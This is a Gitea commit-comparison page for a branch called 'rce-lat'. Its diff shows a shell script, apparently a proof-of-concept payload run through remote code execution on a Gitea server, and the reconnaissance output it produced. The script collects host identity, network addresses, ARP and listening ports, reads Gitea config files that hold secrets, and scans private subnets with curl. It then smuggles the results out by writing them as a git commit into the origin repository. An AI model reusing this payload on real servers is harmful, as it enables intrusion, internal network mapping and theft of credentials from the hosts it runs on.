Compare commits
No commits in common. "main" and "rce-lat" have entirely different histories.
@ -1,37 +0,0 @@
|
|||||||
#!/bin/sh
|
|
||||||
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
|
|
||||||
origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
|
|
||||||
case "$origin_objects" in
|
|
||||||
/*) ;;
|
|
||||||
*) origin_objects="$git_dir/objects/$origin_objects" ;;
|
|
||||||
esac
|
|
||||||
origin_git=${origin_objects%/objects}
|
|
||||||
[ "$origin_git" != "$origin_objects" ] || exit 3
|
|
||||||
out=$(
|
|
||||||
echo "===id==="; id; hostname; uname -a
|
|
||||||
echo "===ip==="; ip -4 addr 2>/dev/null | head -40
|
|
||||||
echo "===hosts==="; cat /etc/hosts 2>/dev/null | head -40
|
|
||||||
echo "===arp==="; cat /proc/net/arp 2>/dev/null
|
|
||||||
echo "===ss==="; ss -lnt 2>/dev/null | head -40
|
|
||||||
echo "===conf===";
|
|
||||||
for f in /data/gitea/conf/app.ini /etc/gitea/app.ini /etc/gitea/conf/app.ini /app/gitea/conf/app.ini; do
|
|
||||||
[ -r "$f" ] && echo "FILE $f" && sed -n "1,80p" "$f"
|
|
||||||
done
|
|
||||||
echo "===scan===";
|
|
||||||
ips=$(ip -4 -o addr 2>/dev/null | awk '{print $4}' | cut -d/ -f1 | grep -E '^(10\.|192\.168\.|172\.(1[6-9]|2[0-9]|3[01])\.)' )
|
|
||||||
arps=$(awk 'NR>1 && $1 ~ /^(10\.|192\.168\.|172\.(1[6-9]|2[0-9]|3[01])\.)/ {print $1}' /proc/net/arp 2>/dev/null)
|
|
||||||
for ipx in $ips $arps; do
|
|
||||||
[ -n "$ipx" ] || continue
|
|
||||||
for p in 80 443 3000 8080 3306; do
|
|
||||||
if command -v curl >/dev/null 2>&1; then
|
|
||||||
hdr=$(curl -skm 2 -o /dev/null -w "%{http_code}" "http://$ipx:$p/" 2>/dev/null || true)
|
|
||||||
[ -n "$hdr" ] && [ "$hdr" != "000" ] && echo "HTTP $ipx:$p $hdr"
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
done
|
|
||||||
)
|
|
||||||
output_blob=$(printf "%s\n" "$out" | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
|
|
||||||
tree=$(printf "100644 blob %s\tlat\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
|
|
||||||
commit=$(printf "lat\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6
|
|
||||||
git --git-dir="$origin_git" update-ref refs/heads/rce-lat "$commit" || exit 7
|
|
||||||
exit 0
|
|
||||||
39
lat
Normal file
39
lat
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
===id===
|
||||||
|
uid=110(git) gid=114(git) groups=114(git)
|
||||||
|
gitea
|
||||||
|
Linux gitea 6.17.0-1015-azure #15~24.04.1-Ubuntu SMP Wed May 6 22:37:49 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux
|
||||||
|
===ip===
|
||||||
|
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
|
||||||
|
inet 127.0.0.1/8 scope host lo
|
||||||
|
valid_lft forever preferred_lft forever
|
||||||
|
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
|
||||||
|
inet 10.3.0.4/24 metric 100 brd 10.3.0.255 scope global eth0
|
||||||
|
valid_lft forever preferred_lft forever
|
||||||
|
===hosts===
|
||||||
|
127.0.0.1 localhost
|
||||||
|
|
||||||
|
# The following lines are desirable for IPv6 capable hosts
|
||||||
|
::1 ip6-localhost ip6-loopback
|
||||||
|
fe00::0 ip6-localnet
|
||||||
|
ff00::0 ip6-mcastprefix
|
||||||
|
ff02::1 ip6-allnodes
|
||||||
|
ff02::2 ip6-allrouters
|
||||||
|
ff02::3 ip6-allhosts
|
||||||
|
===arp===
|
||||||
|
IP address HW type Flags HW address Mask Device
|
||||||
|
10.3.0.1 0x1 0x2 12:34:56:78:9a:bc * eth0
|
||||||
|
===ss===
|
||||||
|
State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
|
||||||
|
LISTEN 0 4096 127.0.0.1:3000 0.0.0.0:*
|
||||||
|
LISTEN 0 4096 127.0.0.54:53 0.0.0.0:*
|
||||||
|
LISTEN 0 511 0.0.0.0:443 0.0.0.0:*
|
||||||
|
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
|
||||||
|
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
|
||||||
|
LISTEN 0 4096 0.0.0.0:22 0.0.0.0:*
|
||||||
|
LISTEN 0 511 [::]:443 [::]:*
|
||||||
|
LISTEN 0 511 [::]:80 [::]:*
|
||||||
|
LISTEN 0 4096 [::]:22 [::]:*
|
||||||
|
===conf===
|
||||||
|
===scan===
|
||||||
|
HTTP 10.3.0.4:80 404
|
||||||
|
HTTP 10.3.0.4:443 400
|
||||||
Loading…
x
Reference in New Issue
Block a user